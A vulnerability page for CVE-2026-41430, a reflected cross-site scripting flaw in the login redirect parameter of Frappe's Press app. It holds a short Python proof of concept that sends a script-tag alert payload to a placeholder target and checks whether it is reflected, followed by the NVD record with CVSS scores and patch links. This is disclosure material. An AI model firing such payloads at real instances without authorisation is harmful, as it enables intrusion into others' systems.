CVE-2026-41430

import requests # PoC for CVE-2026-41430 Reflected XSS in Press Login Redirect # Target URL needs to be replaced with the actual instance target_url = "http://target-press-instance/login" # Malicious payload to demonstrate script execution xss_payload = "<script>alert('CVE-2026-41430');</script>" # Constructing the malicious URL with the payload in the redirect parameter exploit_url = f"{target_url}?redirect={xss_payload}" try: response = requests.get(exploit_url) # Check if the payload is reflected unescaped in the response body if xss_payload in response.text: print("[+] Vulnerability confirmed: XSS payload is reflected in the response.") else: print("[-] Vulnerability not confirmed or patch has been applied.") except Exception as e: print(f"[!] Error occurred: {e}")

{"cve": {"id": "CVE-2026-41430", "sourceIdentifier": "[email protected]", "published": "2026-04-24T04:16:21.000", "lastModified": "2026-04-30T14:51:51.090", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Press, a Frappe custom app that runs Frappe Cloud, manages infrastructure, subscription, marketplace, and software-as-a-service (SaaS). Redirect parameter on login page is vulnerable to reflected XSS. The patch in commit 16d1b6ca2559f858a1de77bcb03fd7f1b81671c6 fixes the issue by restricting redirects to internal URLs only."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:frappe:press:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.16.0", "matchCriteriaId": "B9782269-49C1-45E2-91B2-E6F2AE3DCB8A"}]}]}], "references": [{"url": "https://github.com/frappe/press/commit/16d1b6ca2559f858a1de77bcb03fd7f1b81671c6", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/frappe/press/security/advisories/GHSA-mpww-rq79-8r2c", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}